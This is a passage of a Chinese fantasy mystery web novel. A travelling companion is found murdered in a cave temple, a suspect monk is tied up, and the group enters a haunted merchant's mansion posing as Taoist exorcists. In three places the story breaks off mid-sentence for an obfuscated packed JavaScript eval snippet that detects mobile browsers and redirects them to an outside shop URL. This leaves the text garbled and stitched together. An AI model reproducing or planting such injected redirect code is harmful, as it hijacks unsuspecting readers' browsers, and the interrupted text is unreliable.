虽然画得十分简陋,但那怪蛇盘起来仿佛一座小山,对比之下小人就像几只蚂蚁。 程翰麟道:“接下去的几幅图有些难解……子明有何高见?” 梁夜端详片刻道:“这五幅图,似是四种结果。第一种是人被妖怪吞噬;第二种是人想办法躲起来,这七个太阳和七个月亮应当代表七日夜,时间一到人还是死了;第三种人杀死了妖怪,但未能达成某种条件,时限一到仍然全军覆没,倒地身亡;剩下三幅图,应该连着看。” 只见第三幅图蛇怪伸直到底,口中喷出一股烟雾,烟雾里隐约有个人形。 到了第四幅图,蛇怪不见了,一个腰佩弯刀的小人托着双手,正从另一个小人手中接过一个圆球状的东西。 第五幅图,捧球的小人不见了,小人们身旁多了一道门。 梁夜蹙着眉,分析道:“要开启下一道门,不但需要除掉妖怪,还要取得某个‘信物’。” “原来如此,”程翰麟拊掌,“不愧是大燕第一聪明人梁子明!” 海潮简直听不下去:“他说的也未必就是对的。” 梁夜看了她一眼:“只是在下凭空猜测。” 但程翰麟一个字也听进去,梁子明的话对他来说就是金科玉律。 他巴巴地望着梁夜:“子明,你说这信物究竟是什么呢?” 梁夜道:“诗言‘妖不自作,人必邀之’,人与妖之间想必有所关联,或同气相感,或一体两面。” 程瀚麟:“那该当如何取得信物呢?” “画中人是自愿捧出,可见不能硬夺,”梁夜看了一眼海潮,加上一句:“这只是在下猜测。究竟如何,只有进了第一境后设法探明。” 海潮心里不服气,但说不出什么反驳的话,只能抿着唇不说话。 程翰麟已是佩服得五体投地。 最后一幅图,几个小人又回到了窟庙里,将七颗圆球嵌入四周凹槽,帛书到这里便断了。 梁夜仔细看了看布帛两端,随即将帛书依原样卷好。 离辰时还有几个时辰,江慎便提议留两人轮番守夜,其余人去歇息。 众人见陆娘子体弱,要免了她的值守,没想到这小娘子看似怯弱,却坚决不要他们特别关照。 六人便分作三班,江慎同沙门值第一班,海潮和陆娘子值第二班,梁夜与程翰麟值第三班。 沙门冷笑:“你们把贫僧当贼,叫贫僧值夜,不怕贫僧谋财害命?” 江慎道:“禅师一时兴起,不是什么大过,如今我们身在异世,同病相怜,当同心协力,想来禅师也明白这个道理。” 沙门抱臂冷哼一声,不再说话。 安排完毕,江慎道:“里头有几个小窟室,还算整洁,诸位可以进去歇息。” “那把祭刀怎么办?”程瀚麟问。 江慎想了想:“若是诸位信得过在下,祭礼前便由在下暂且保管吧。” 众人都没有异议。 海潮正要去歇息,身后梁夜叫住她:“海潮,借一步说话。” 海潮头也不回:“我和你没什么话说。” 陆娘子看看这个又看看那个,随即低下头,如受惊野兔般溜走了。 “就一两句,说完我就走。”梁夜道。 海潮转过身,却不去看他,眼睛撇向一边:“有话赶紧说。” “我只是想提醒你,小心那沙门,他不是真的僧人。还有,不要轻信任何人。” 最不可信的就是你,海潮心想。 “说完了?说完我走了。” “海潮,我是不是做了什么错事?”梁夜在她身后道,声音沙哑涩然。 海潮脚步顿了顿,但没回头:“没有,你没做错什么。” 喜欢上别人算错吗?不算吧。 可是心里的委屈作不得假,这委屈又不知道该对谁倾倒。 海潮越发憋闷,回过头冷冷地看着他:“探花郎和小人本就不是一路人,如今你已和大官千金定亲了。我和你从此两不相欠,再没半点瓜葛。” 梁夜垂下眼眸。 有一瞬间,海潮似乎从他脸上捕捉到一丝无措,但她立即意识到那是错觉。 他一向都是冷冷淡淡的,哪怕在他们相依为命那几年,也是她一头热罢了。 不等他说什么,海潮一口气道:“探花郎本来就是落难的凤凰,和小人不一样,如今飞回梧桐树上才是正理。 “从今以后,探花郎不用屈尊和小人来往了。” 说罢她转过身,头也不回地走了。 4. 尸体 正殿中只剩下沙门和江慎两人。 沙门靠在崖壁上,盘腿坐着,双目紧闭,像是在打坐,实则时不时将眼皮撑开一条细缝,打量火堆旁的江慎。 江慎拨了拨火,朝他走过去:“对了,禅师是在京师哪座禅寺坐夏?” 沙门睁开眼:“干你何事?” 江慎温和地笑笑:“江某总觉禅师有些面善,像是在哪里看见过。” “你记错了。”沙门斩钉截铁,眼中暗含警告。 ——————————— 石室里亮着长明灯,海潮走进去,借着幽幽灯光看见陆娘子抱着膝坐在角落里,双肩轻轻耸动,显是在哭。 斯文秀雅的大家闺秀,连哭都是悄没声息的。海潮一个恍惚,不禁想到那个以诗才和美貌闻名京城的侍中千金,是否也和眼前的小娘子一样,像是云朵和花瓣堆出来的,和她真是一个天一个地。 她不禁有些泄气,默不作声地走到另一张石床边坐下。 就在这时,陆娘子抬起头,露出一双肿得胡桃似的眼睛,目光中满是惊惶和恐惧:“望小娘子……我们……我们能活着出去么?” 海潮顿时涌起愧疚,方才那点莫名的芥蒂烟消云散,她站起身走到她身边坐下,握住她的手:“别怕,我们一定会没事的。” “当真?”陆娘子似乎不太相信,但婆娑泪眼里隐约有些希望,“帛书上的妖怪好生骇人……” 海潮摘下腰间的采珠刀,拔出刀鞘给她看:“你看我这把刀,可厉害了,海里的虎沙、林子里的大蟒都杀过,连鬼怪也怕它!” 陆娘子瑟缩了一下,随即小心翼翼地伸出手,用纤细的手指轻轻触碰黑色的刀身,眼中流露出艳羡:“望小娘子小小年纪便有这样的本事。我虚长你几岁,却百无一用,身子骨又弱,只会牵累旁人。” “你别这么说,”海潮道,“我是自己讨生活的粗人,你一个大家闺秀,学会砍柴叉鱼也用不上啊。” 陆娘子掩嘴“扑哧”一笑:“望小娘子真好。” 海潮脸一红:“你叫我海潮吧。” “望海潮……”陆娘子轻声道,“真是个好名字,望小娘子人如其名,胸襟阔达,豪气干云,见之如望沧海。” 海潮的官话只限于日常答对,听得一知半解,只知道是好话,爽朗一笑:“是我阿娘取的,我也很喜欢。” 陆娘子道:“我在族中排行十一,小字琬璎,家人都唤我十一娘。” 她说着从脖子上摘下一块玉佩,给海潮看上面刻的字:“是这两个字。” 海潮在县令家做过工,知道大户人家的娘子把名字看得跟小衣似的,轻易不示人。 陆娘子却主动告诉她,不禁教她有些吃惊。 陆琬璎仿佛看出她的惊讶,浅浅一笑:“海潮以诚相待,我自该投桃报李。” “你和我见过的那些富家小娘子很不一样,”海潮道,“你不像他们那样用鼻孔看人。” 陆娘子脸颊微红:“多谢海潮。” 她的忧惧排遣了些许,或许是疲累到了极点,不一会儿就倒在石床上睡着了。 倒是海潮,被梁夜那番话弄得毫无睡意。 梁夜是怎么看出来那是个假沙门的? 她好奇得抓心挠肝,可又不能去问。 翻来覆去半天,只觉对面壁上长明灯的光焰模糊起来,似乎有烟雾飘过,脑袋发沉,不知不觉睡了过去。 不知睡了多久,她忽然被一声公鸡打鸣似的惨叫吵醒,蓦地翻身而起。 陆娘子也惊醒了,一脸懵懂:“出什么事了?” “我去看看,”海潮道,“你先别出去。” 陆娘子迟疑了一下点点头:“小心。” ……………………………………………………………………………… 来到正殿,海潮被眼前的景象吓了一大跳。 只见鸟头人身石像上溅了一大片血迹,一人倒在石像前,喉咙上一道血口子,衣襟染成褐色,几乎看不出原来的颜色。 一把尺来长的短刀掉落一旁,上面沾满了鲜血。 那人是江慎。 梁夜正蹲在一旁探他鼻息、翻开眼皮查看眼瞳。 程瀚麟则躲得远远的,脸色发白,扶着石壁,发出一声声干呕。刚才那声惨叫多半就是他发出来的。 “死了至少一个时辰。”梁夜平静道,仿佛天塌下来也不能让他皱一下眉头。 他向程瀚麟要了一条帕子,隔着帕子捡起沾满血迹的短刀:“是祭刀。” “那贼秃呢?”海潮问。 话音未落,便见沙门打着哈欠从外面走进来,眯缝着眼睛看了眼尸首:“哟,这就开始杀人了?” 海潮瞪了他一眼:“我们正想问你呢!你不是和他一起守夜么?守到哪里去了?” 和尚道:“贫僧去外头解个手不行?” 梁夜道:“僧袍上的血迹是哪里来的?” 海潮这才发现他湿漉漉脏兮兮的僧袍上,隐约有深色痕迹。 “我脚底一滑跌了一跤。”沙门说着捋起袖管,胳膊上果然有些擦伤的痕迹。 梁夜:“去了一个多时辰?” 沙门脸上闪过惊诧,犹自嘴硬:“谁说我离开一个多时辰?” 梁夜道:“从尸身僵硬的程度看,死了至少有一个时辰。” 海潮有些诧异,他怎么会知道这些? “禅师擅离职守一个多时辰,所为何事?”梁夜问。 沙门歪着头,一副破罐子破摔的德性:“小子又不是官差,凭什么审我?反正人不是我杀的,我去做甚干你何事?” “不是你杀的还能是谁杀的?”海潮道。 沙门冷笑:“说不定是你,看你这模样,说不定是个女水匪!” 海潮气极反笑:“我没事杀他做什么?” 沙门:“那我杀他做什么?” 他指了指程瀚麟:“就算是图财,也该宰了这只肥羊。” 程瀚麟悚然一惊,连干呕都顾不上了:“怎么你还想杀杀杀在下?” 他无助地看向梁夜,泫然欲泣:“子明,你说这到底是怎么回事?” 海潮以为梁夜立即就会戳穿那贼秃真面目,谁想他望着江慎的尸身沉吟片刻,方才道:“他说的没错,没有确证,也没有缘由。” 海潮和程瀚麟都吃了一惊。 和尚也面露意外之色,随即得意道:“就算我杀了人,你们又不是官差,就算是官差来了也要先缉拿,再会审,凭你们几个能拿我怎么样?” 这话说得无赖,但教人无法反驳。 梁夜道:“天快亮了,收拾收拾,预备明日行祭礼吧。” 程瀚麟惟梁夜马首是瞻,海潮心里犯嘀咕,可不想和梁夜说话,便只能把气憋在肚子里。 她看了沙门一眼:“他呢?” 梁夜淡淡道:“不放心就捆了。” 沙门张嘴要抗议,海潮的刀比他舌头动得快,“呼”地带起一阵风,寒刃已经架在了他脖子上:“别乱动,抹了脖子可怨不得我。” “找根绳子来。”她对着程瀚麟挑了挑下颌。 程瀚麟层层叠叠穿了好几件绢衣,当下奉献出一件,扯成布条,结在一起。 两人把和尚里三层外三层地捆了,撂在一旁。 又协力把江慎的尸身拖到一间空置的小石室里,搬了几块石头堆在门口。 程瀚麟双手合十念念有词:“江兄,我等异世相逢一场,也是缘分。奈何仓促之间,不能将江兄妥善安葬,若在下能活着出去,一定亲去黔州向江兄的父母亲人赔罪……” 虽然是萍水相逢,但眼见着一个大活人才几个时辰就变成了尸首,任谁都不会好受,何况死的还是温和儒雅的江慎。 海潮心里发堵,回到石室,将事情向陆娘子简单说了,陆娘子几乎吓晕过去,这后半夜怕是睡不着了。 海潮忍不住嘟囔:“出了这种事,竟然还要跟这种人一起去打妖怪,反正已经捆起来了,扔在这里不就好了。” 陆琬璎若有所思道:“我倒觉得还是如此处置妥当。若他是无辜的,七日不食不饮,性命堪忧。若他是坏人,倒是将他放在眼皮子底下比将他留在这里放心。我们走后,不知这庙里是什么光景,万一他设法挣脱了绳索,使些手段,我们反受其累。” 海潮嘟了嘟嘴,不得不承认道:“好吧,你说的对。你真聪明。” 陆琬璎抿唇浅笑:“我只是事后诸葛亮,聪明的不是我,是……” 海潮不想再听见梁夜的名字,忙打岔:“趁着天还没亮,赶紧睡会儿吧!” 这注定是个不眠之夜。 只有一个人例外。 程瀚麟看见死尸呼天号地的,但回到石室里,一沾石床,上下眼皮立刻开始打架。 不知睡了多久,他听见响动撑开眼皮,隐隐绰绰地看到梁夜靠坐在旁边的石床上,支着一条腿,手里拿着个火把,裤腿挽到膝弯,苍白的脚踝上一道伤口深可见骨。 他正想问,便见梁夜将火把凑近伤口…… 程瀚麟忍不住“嘶”了一声,仿佛烫疼的是他。 梁夜面无表情地向他瞥了一眼,随即垂下眼帘。 他连眉头都没皱一下,只有脸侧滑下的冷汗和微微颤抖的身体,显示他有多疼。 程瀚麟想问问这伤口是怎么弄的,但见梁子明冷若冰霜,拒人千里,便识趣地闭上了嘴。 梁夜用火灼烫过伤口,又从衣襟上撕了条布条,一圈圈地把伤处缠上。 程瀚麟眼皮发沉,又泛起迷糊来。 恍惚之间,他突然想起件事,上半夜他醒来时梁夜不在房里,他去正殿寻他,这才发现了江慎的尸首。 当时梁夜是从哪里走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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海潮握了握她的手,发现她的手冰凉,宽慰道:“别怕,已经用水洗过几遍了。” 程瀚麟却是亢奋异常,甚至有些跃跃欲试:“谁先来?” 海潮和梁夜不约而同地看向那沙门。 沙门目露惊恐。 “当然是你。”海潮说着走过去,把被五花大绑的沙门连扯带拽地拖到神像前,拿起祭刀,二话不说在他手掌上划了一道。 鲜血滴落在红玉石心上,立刻便渗透进去,了无痕迹。 不知是不是错觉,海潮总觉得那颗石心变得更殷红,更像真的心脏了。 几人依次割破手指,把血滴入石心,石心的色泽越来越鲜艳,看起来几乎与真正的心脏无异。 海潮捧起石心,发现它竟然触手温热,细看里面还有血液在流淌。 她把石心小心翼翼地放在圆形祭台正中的凹槽里。 石心开始有规律地搏动,一脉细丝般的血液从中心向外流淌,勾勒出一个个神秘莫测的鸟篆。 当最后一笔完成,祭台上升起五簇火苗,如鬼火般悬浮在半空。 “这是我们的魂灯,”程瀚麟道,“帛书上有提到,若是我们遭遇不测,魂灯便会熄灭。” 魂灯中间升腾起一簇火苗,渐渐燃成三丈来高的熊熊烈火,当火焰燃尽后,浓烟缓缓凝聚成一道乌头门,门上镶着黄铜兽头衔环铺首,两侧挂着对白灯笼。 门里隐隐绰绰传来脚步声和人声。 程瀚麟咽了口唾沫,压低声音道:“这门后想必就是第一个世界了……” 他扭头看梁夜:“要敲门么?” 梁夜颔首。 程瀚麟哆哆嗦嗦地伸出手,却半晌不敢去摸铜环。 别看他方才跃跃欲试,到了见真章的时候却怂得很,海潮看不下去:“我来吧。” 她二话不说抓住铜环,不轻不重地扣了两下。 说时迟那时快,她只觉脚下一空,紧接着一阵天旋地转,待她双脚重又蹋在实地上时,周围已换了天地,而她的手里还抓着黄铜门环。 门还是那扇高高的乌头门,不过门里是一座垣墙高耸、 檐宇重重的大宅。庭中槐树的枝桠探出墙来,在黄昏的风里蔌蔌作响。 海潮惊讶地发现,他们几人都变了装束。 梁夜身着宽身广袖的天青道袍,头戴玉清莲花冠,简直像是古画里走出来的人物。 她和程瀚麟、陆琬璎也穿着青色道服,程瀚麟背了个背囊,发髻上插着支朱砂笔,她自己则身背桃木剑。而陆琬璎肘上则挎着个药囊。 只有沙门仍是沙门,不过脏污的灰色僧衣也换成了洁净的荆黄色袈裟。 就在这时,门轴发出“吱嘎”一声,门开了。 5. 噬人宅(一) 门开了,一个老阍人探出半个身子,狐疑地打量着他们,自言自语似地道:“又是来驱邪的?” 不等他们回答,他便道:“在门房等着吧。”说完晃着肩膀,吊儿郎当地向照壁内走去。 不一会儿,走出一个管事模样的中年人,只见来人穿着蓝绸衫子,五短身材,一张油乎乎的胖脸,一笑双颊便堆起两道横肉,看着皮笑肉不笑的,那面相让海潮很不喜欢。 他打量了几人一眼,目光落在梁夜身上,露出考量之色:“几位仙客、禅师想必是来替娘子禳灾祈福的吧?” 梁夜道:“我等奉家师之命前来擒妖。” 他生得清俊,不笑时显得冷淡,此时微抬下颌,神色冷峻,颇有点世外高人的气度。 还挺能唬人,海潮心想。 管事的态度显而易见恭敬了不少:“未知几位仙客仙家何处?” 梁夜:“青云观。” 海潮知道他是随口诌的,青云观是他们廉州城里最大的道观,当年她去州学给梁夜送衣裳,他们还一起去那儿看过琼花树。 管事却一副如雷贯耳的样子:“原来是青云观的道长,失敬失敬。” 他又看向那沙门:“这位禅师……” 沙门狡黠地一笑:“贫僧与这几位素不相识,只是在贵府门外偶然遇见的。” 管事便叫来一个僮仆:“先带这位禅师去客院歇息用膳。” 又对梁夜一行欠身伸手:“诸位仙客这边请。” 他一边带路,一边道:“老奴姓李,是这府里的总管事,几位仙师需要什么,尽管吩咐老奴。” 他们绕过素白照壁,庭木萧萧、廊庑廓然的院落出现在眼前。 庭中遍植榆槐松柏,大者两人合抱,枝叶蔽日。不知是不是草木高大繁茂的缘故,院子里比外头阴冷许多。 饶是海潮身强体健,也不由打了个哆嗦。 程瀚麟搓搓胳膊:“看这些参天古木,这宅子恐怕有些年头了吧?” “可不是,总有百来年了,”管事言语中不乏得意,“在整个芜城都是数得上的。” “你家主人是做大官的吧?”海潮好奇地四处张望。 这院子比县衙还大还气派。 “仙姑说笑,郎君是白身,做些买卖。” “哦,他的买卖肯定做得很大了。”海潮道。 管事笑了笑,算是默认了。 说话间,他们已穿过前院,到了正院。 正堂五架三间,堂前有白沙月台,十来株松柏列翠其上。屋宇不算阔大,但雕梁画柱,十分严整。 四下弥漫着新漆的气味,显是新近修葺过。 天色已擦黑,两个青衣小僮正站在廊下懒洋洋地点灯。 管事斥道:“点个灯磨磨蹭蹭半日,不见有客人么!” 回头道:“那些小僮刚进府没多久,不懂事,叫仙客们见笑了。” 他一边说,一边将几人带到东厢房,吩咐僮仆点灯看座。 几人入了座,不一会儿便有小僮奉了茶果来。 茶烟袅袅,果子散发着香甜的气息,煞是勾人。 几人都是一天一夜滴水粒米未进,早就饿了,别说海潮和程瀚麟,连陆娘子都红着脸抿了抿唇。 但三人面面相觑,都没动。 毕竟是妖怪的地盘,全然陌生的世界,也不知这些东西能不能入口。 梁夜却端起茶碗喝了一口。 海潮一想,要在这秘境里呆上七日七夜,总不能不吃不喝,便也捧起茶碗喝了起来。 茶水清香,比她平日里喝的粗茶可好多了。 她三两口喝干,又拿起一块叫不上名字的酥点咬了一口,只觉滋味绵甜,舌头都要化了。 流落到这里倒也不全是坏事。 她不经意地抬起头,便看见梁夜正在看她,眼中是若有似无的笑意。 海潮以为自己嘴边有残渣,摸了摸嘴角和下巴,并没有摸到什么。 是在笑她眼皮子浅,没见过好吃的么? 海潮瞪了他一眼,抓起块红豆黏米糕塞进嘴里,示威似地鼓着腮帮子。 梁夜垂下目光,可海潮已经败了胃口,嘴里的团子都不香了。 她悻悻地撂下竹箸,其他人也已投箸。 管事叫小僮撤了盘碗,却只是袖手立在一旁,看着梁夜,一副欲言又止的模样。 可梁夜偏偏不问,只是气定神闲地慢慢饮茶。 到底还是那管事按捺不住:“不知几位仙客,修习的是哪种道法?遇到过些什么妖怪?” 程瀚麟道:“那可太多了,数都数不清,说来话长,比如前几日,我们在南边,刚斩了一只巨鼠妖,眼睛有车轮那么大……” 梁夜道:“说正事吧,此地妖气浓郁,耽搁下去,恐生灾变。” 他饮了口茶,悠悠道:“到那时,后果不堪设想。” 管事打了个哆嗦:“仙师可看出是什么东西在作怪?” 梁夜道:“你有所隐瞒,贫道亦无可奉告。” 管事咽了咽唾沫,这才将事情的来龙去脉说了。 这家主人姓苏,原是蜀地富商,一年前与夫人迁来芜城,原本是在城东赁宅而居,半年前买了这栋古宅,用三个月修葺一新,择吉日入了宅。 刚搬来时,六畜兴旺,郎君的生意亦是顺风顺水,可谁知才过了一个月,宅子里便开始出现怪事。 先是畜棚里时不时少只鸡或鸭,过了几天,便有一堆干干净净的骨头,出现在哪个角落。 起初以为是叫黄鼠狼叼了去,或是奴仆手脚不干净,加派人手看着,可始终没捉到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13627083|143546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贼,鸡鸭仍是隔三岔五丢两只。 不过苏府家大业大,并不怎么上心。 到后来,东西越丢越大,竟至于连猪和牛这么大的牲畜,也在夜里凭空消失。 “也只剩一堆骨头?”程瀚麟问。 管事点点头。 海潮托着腮,拧眉思索:“唔……” 管事:“小仙师可是有什么高见?” 海潮不防他忽然问到自己,“啊”了一声,学着梁夜作出高深莫测的表情:“本仙师高见,那妖怪很喜欢吃肉。” 陆琬璎“扑哧”笑出声来,随即羞得满脸通红。 管事一脸尴尬:“小仙姑说笑了。” 梁夜清了清嗓子:“出了这等事,可曾请僧道方士来看过?” 管事脸色有些不自然:“主家刚迁来这里,人生地不熟,郎君又是买卖人,开门迎客,生怕传出什么风言风语,影响了买卖,便教不要张扬。不过郎君私下里也遣了下人去道观里问过,主持天师说恐怕是入宅的时辰不对,犯了冲,便书了一道镇宅符,叫那下人带回来,贴在正堂房梁上。” 自不必问,那道符就算有用,用处也不大。 不然他们也不会在这里了。 “是哪座道观?”梁夜问。 管事道:“是洞玄观。” “在这城里?” “在建业。”管事道。 梁夜若有所思地点点头,示意他继续。 “符请回来之后,总算消停了一阵子,府里没再丢什么牲畜。” 众人都松了一口气,可有一日,那道符突然自己从梁上掉了下来,再贴回去,片刻又掉了下来,他们不信这个邪,用鹿皮胶黏上,这回倒是没掉,那张符竟自己烧了起来。 管事压低了声音,仿佛怕被妖怪听见:“在场好几个奴仆,都说那符烧起来时,听见梁上传出笑声……” 自那以后,怪事就一发不可收拾,甚至变本加厉。 半夜有奴仆经过空屋子,听见里面传出脚步声和说话声。 有个年过半百的老马夫,好端端在房里睡着,醒来却发现自己躺在溷厕里。 “那老马夫本就有些憨傻,”管事道,“众仆都取笑他,说他是喝醉了,自己去溷厕里睡。老马夫气不过,便和众仆打赌,说要捉住那妖怪,卷了铺盖,去那闹得最凶的空屋子里睡……” 管事咽了口唾沫,似乎想起那事还心有余悸。 海潮正听得出神,见不得他这吞吞吐吐的样子,挑挑眉:“后来呢?人死了么?” “倒是还活着,”管事道,“可是疯了。” “他看见什么了?”海潮问。 管事摇摇头:“没人知道,那老马夫疯了之后,就只会说一个字。” “什么字?” “脸。” 6. 噬人宅(二) 一直到晚膳时,苏府主人也不曾露面。 李管事招待四人用了膳,便命小僮将他们送至后园中的别馆下榻。 那小僮十四五岁,名唤李吉,是李管事的干儿子。 海潮见园子里星星点点有好几处灯火,问李吉道:“住这里的都是什么人呐?” 小僮:“回仙姑的话,园子里住的都是客人。” 海潮:“你们郎君没有小妾么?” 他们那儿上至县令,下至富户,但凡有点钱财田产的,哪家都有好几房小妾。 “仙姑说笑,”李吉道,“郎君和娘子恩爱非常,一个妾室都没有。” “那你们郎君真是不错,他和夫人多大年纪?有没有孩子?” “郎君三十五,夫人比仙姑大不了多少,还没有子嗣呢。” “这么大的宅子,得有不少人伺候吧?” 李吉翻着眼皮算了算:“单这宅子里伺候的就有二三十人,加上马夫、庖人、庄子上的佃户和铺子里的人手这些,就更多了。” 海潮“哦”了一声,又问:“来了这么多客人,都是做什么的呀?” 李吉苦笑:“有的是郎君请来的高人,也有听说消息自己找上门来的,方士道士和尚之类,多半都是江湖骗子……” 他说到一半突然打住,大约是想起眼前这些也是道士。 程瀚麟笑道:“那你看看我们,是不是也像骗子?” 李吉忙找补:“有些人一看就是江湖骗子,张口就要钱,哪像你们几位,一看便是正经仙人。苏管事特地叮嘱小的,几位仙客是名观来的天师高人,得仔细勤谨地伺候。” 顿了顿:“和几位同时来的那沙门,就安排在西边大馆了,那里住得挤,人又多又杂,临着池子,蚊虫还多。” 他一边说,一边掏钥匙打开院门:“别看这东馆院子小些,胜在清净,离正房又近,有什么急事,走院子西边的小门,穿过竹径就到了。” 海潮问:“会有什么急事啊?” 小僮笑容一僵,讪讪道:“小奴只是说万一。” 院子果然不大,但打理得整洁雅致,院中栽着棵亭亭如盖的大槐树,廊下丛丛香草芬芳馥郁。 里面总共三间房,正房以外还有东西两间厢房。 只有西厢的廊庑下点着灯笼。 李吉道:“西厢里住了位方士,比几位晚到半个时辰。” 他探头往屋子里张望了一眼,没有灯火,也没有动静。 “那客人想是已经歇下了,”李吉道,“剩下两间房,几位随意住。郎君为人豪爽,几位就当这里是自己家便是。” 替他们开了房门,点了灯,便即退了出去。 待小僮的脚步声远去,四人聚到正房,掩上门。 “子明可有什么发现?”程瀚麟问。 “有些疑点,”梁夜道,“先看看你们的布囊里有什么。” 陆琬璎依言解开包袱,只见里面有一副银针,一把切药的小银刀,一堆瓶瓶罐罐,上面贴着签子,写着药名,有“生肌露”、“补气丸”、“祛邪丹”等,此外还有一些纸包的药材。 她打开一包,辨认里面的药材:“沉香、赤芍、紫苏、木通……这是沉香散。 ” 程瀚麟道:“原来陆娘子通晓医理。” 陆琬璎摇摇头,将药小心翼翼地包好:“只是久病成医,闲来无事读了几部医书,略知些皮毛。” 程瀚麟道:“陆娘子过谦,你对这些药材如数家珍,一定是颇有造诣了。” 海潮也说:“陆姊姊昨晚还说自己什么也不会,这不是懂医术嘛!” 陆琬璎像是做了什么错事,手足无措,连连辩解:“真是粗通,聊以自娱罢了,我不擅此道的,不知为何会将药囊给我……” 海潮见她窘得都快哭了,越发不解:“陆姊姊为何总说自己不好,我看你哪哪儿都好。程瀚麟,你说是不是?” 程瀚麟一愣,连忙点头如捣蒜:“对!望小娘子说的对,陆娘子实在不必过谦。” 海潮道:“叫我海潮就是,小娘子来小娘子去的,怪不自在。” 程瀚麟从善如流:“海潮妹妹。” 梁夜淡淡地瞥了他一眼。 程瀚麟拍了拍脑门:“看我,把正事给忘了。” 他连忙解开布囊,只见里面是一叠画着鸟篆的符纸正,一块古朴的八卦镜,外加五六两银锭和半贯铜钱。 程瀚麟拿起八卦镜,只见镜子宝光内蕴,镜面隐隐有青光流淌,宛若深潭微波。 “这八卦镜看来就是贫道的法器了,”程瀚麟道,“朱砂和符纸大约也不是凡品,可惜在下才疏学浅,不擅此道。早知道就该学学怎么画符。” 梁夜:“试试鸟篆。” “对啊!”程瀚麟道,“我怎么没想到呢!” 当即取了张黄表纸,从发髻上拔下朱砂笔,咬着笔杆冥思苦想半晌,不好意思地搔搔头:“我只会辨认,叫我凭空写,就……” 梁夜似乎早有所料,拿起一根牙箸,蘸了点茶水,在几案上画了个篆文:“我记得几个。” 程瀚麟惊讶不已:“这是‘风’字,一笔也没错。子明何时记下的?” 梁夜道:“见过便有些印象。” 程瀚麟张口结舌:“听说梁子明有过目不忘之能,我还以为是坊间的传说,没想到竟是真的!” 海潮撇撇嘴:“你快照着写一个试试,水迹都要干啦!” 程瀚麟这才手忙脚乱地抓起笔,照着画起来。 笔尖一挨上符纸,便有鲜红朱砂墨流淌出来,程瀚麟右手颤抖,牙关紧咬,脖颈上青筋隐现,似乎用了九牛二虎之力,好不容易一个符写完,他立即扔下笔,长舒一口气:“累死我了!” 黄色符纸静静躺在几案上,鲜红的朱砂篆文隐隐发着光。 海潮:“这是什么字?” 程瀚麟气息奄奄:“风……” 梁夜道:“试试。” 程瀚麟学着道士的样子,将符尾在灯焰上点燃。 符纸立刻化成飞灰。 几乎是一瞬间,房中忽然刮起风来,灯焰跳动摇晃,帷幔猎猎作响。 只可惜刚起个头,才片刻功夫,风就停了。 海潮:“这风怕是吹不动妖怪几根毛。” 陆琬璎掩口轻咳了一声。 程瀚麟:“惭愧惭愧,贫道学艺不精。” 海潮拔出自己的桃木剑,摸摸无锋的剑身,又比划了一下:“不知道对上妖怪,这木剑好不好用,还不如采珠刀趁手。”不过她现在是道士,随身带把刀确实不像样。 程瀚麟凑近看了看:“海潮妹妹这把是雷击木制成的剑,有辟邪之用。” 海潮皱了皱鼻子:“总比没有好。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13627084|143546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 程瀚麟看向梁夜:“倒是子明,怎么也没个法器。” “无妨,”梁夜道,“时候不早了,早些歇息吧。” 四人便即分了房间,海潮和陆琬璎睡正房,两个男子睡东厢。 梁夜打发程瀚麟先回房,自己留了下来。 陆琬璎道:“我去打些水来。”便出了屋子。 房中只剩下两人,在摇曳的烛火里沉默相对。 海潮不去看梁夜,盘腿坐着,用衣袖仔细擦她的桃木剑。 “海潮。”梁夜唤了她一声。 海潮掀了掀眼皮:“怎么?” 梁夜薄唇动了动,却什么也没说,良久方道:“夜里把门闩好,合衣睡,半夜有人敲门别开,若是有事,我会用暗号……” 海潮打断他:“我不记得什么暗号。” 梁夜微怔:“从前……” 海潮:“没什么从前。自家顾好自家。” “海潮。”梁夜又唤了一声。 “还有什么要说的?”海潮将桃木剑放到一边,站起身,“我要睡了。” “我不知道三年中发生了什么事,”梁夜道,“但眼下当务之急是同心协力离开这里。无论如何,我都会送你出去。” 他顿了顿:“其余的事,等回去再说。” 回去?回哪儿去?他们哪里还有可以一起回去的地方。 海潮看了看他的伤腿,语带讥嘲:“就你这样,自己都是泥菩萨过江,不拖我后腿都算好的了。” “我不会拖累你,”梁夜注视着她的双眼,“若真到那时,你不必管我。” 梁夜似乎天生就有这种本事,同样一句话由他说来,总是更叫人信服,用她阿娘的话来说,就是身上有股子静气。 分别三年后再见,他变得更沉更静了,好像人世间的风浪再也无法撼动他分毫。 这三年中一定发生了许多事,虽然他不记得,却像流水一样,把他洗磨出如今的形状。 海潮轻蔑地干笑了一声,想说点更伤人的话,但嘴唇却不由自主地轻轻颤抖,好像那些话还没出口,先将她自己扎出了血。 她移开视线:“遇到事别指望我管你。” “好。”梁夜一口答应,静静看着她,烛火在他清澈的眼瞳中颤动。 